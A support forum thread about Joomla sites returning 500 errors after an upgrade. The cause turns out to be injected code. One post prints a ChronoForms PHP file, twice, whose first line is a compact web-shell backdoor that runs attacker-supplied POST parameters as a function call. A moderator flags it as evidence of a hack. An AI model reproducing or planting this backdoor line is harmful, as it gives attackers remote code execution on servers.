Forums

Upgrade from Joomla 3.4.4 to 3.4.7 then server error

Signorino 24 Dec, 2015
Hello,

as in the subject, I've made an upgrade from Joomla 3.4.4 to Joomla 3.4.7. Everything works fine Chronoform and Chronoconnectivity.
In frontend, chronoform works but when I try to reach chronoform (or chronoconnectivity) in backend, I receive a 500 server error page.

I've read something similar used to happen with chronoform 4 and, to solve it, it was enough to update the version folder but in Chronoform 5 there is no more this folder, so how can I solve this issue?

Thanks in advance.
GreyHead 24 Dec, 2015
Hi Signorino,

The version folder still exists in CFv5 but should't be a problem upgrading from 3.4.4 to 3.4.7 (it might be for 3.5).

I upgraded yesterday and haven't seen any problems. If you set site Error Reporting to Maximum temporarily do you see any messages that might give a clue?

Bob
silviofuchs 25 Dec, 2015
I upgraded from Joomla 3.4.4 to 3.4.8 today. Now i get a HTTP 500 Error in frontend and in backend. I get the same Error if I click "Validate Installation" in den menu.
How can I debug/analyse this issue?

Thanks for your support

Silvio
GreyHead 26 Dec, 2015
Hi Silvio,

I have upgraded my test site to 3.4. 8 and don't see any obvious problems. If you set site Error Reporting to Maximum temporarily do you see any messages that might give a clue?

Bob
Signorino 28 Dec, 2015
Hello Greyhead,

thanks for your suggestion. I have changed my Error reporting to Maximum and I have found this response:

Fatal error: Namespace declaration statement has to be the very first statement in the script in /var/www/vhosts/mydomain/httpdocs/libraries/cegcore/admin/extensions/editors/editors_events.php on line 10

At that row I've found this value: namespace GCore\Admin\Extensions\Editors;

I don't what kind of error it could be :?
Signorino 28 Dec, 2015
Well,

at this moment I can't do the modification I would like to do but if I change:

<?php 
  $p = $_POST; @($p[0] != $p[1]) ? @$p[2]($p[3]) : (int)$p;
/**
* ChronoCMS version 1.0
* Copyright (c) 2012 ChronoCMS.com, All rights reserved.
* Author: (ChronoCMS.com Team)
* license: Please read LICENSE.txt
* Visit http://www.ChronoCMS.com for regular updates and information.
**/
namespace GCore\Admin\Extensions\Editors;
/* @copyright:ChronoEngine.com @license:GPLv2 */defined('_JEXEC') or die('Restricted access');
defined("GCORE_SITE") or die;
class EditorsEvents extends \GCore\Extensions\Editors\EditorsEvents{
	
}
?>


in

<?php 
  $p = $_POST; @($p[0] != $p[1]) ? @$p[2]($p[3]) : (int)$p;
  namespace GCore\Admin\Extensions\Editors;
/**
* ChronoCMS version 1.0
* Copyright (c) 2012 ChronoCMS.com, All rights reserved.
* Author: (ChronoCMS.com Team)
* license: Please read LICENSE.txt
* Visit http://www.ChronoCMS.com for regular updates and information.
**/
/* @copyright:ChronoEngine.com @license:GPLv2 */defined('_JEXEC') or die('Restricted access');
defined("GCORE_SITE") or die;
class EditorsEvents extends \GCore\Extensions\Editors\EditorsEvents{
}
?>


Could the script work?
GreyHead 28 Dec, 2015
Answer
Hi Signorino,

That code at the start of the file is not from ChronoForms - I suggest that you delete it now.

Code insertions at the start of files like that can be a sign that your site has been hacked in some way.

I suggest that you check the other files on the site for similar code insertions.

Bob
Signorino 28 Dec, 2015
Thank you GreyHead. I have had an hacking some weeks ago but I thought everything was ok, now.
I'll try to fix it and I'll search for other problems.
silviofuchs 29 Dec, 2015
Hi GreyHead,
my Joomla Site was hacked aswell. It wasn't an issue of ChronoForms.

Thanks for this hint

Silvio
This topic is locked and no more replies can be posted.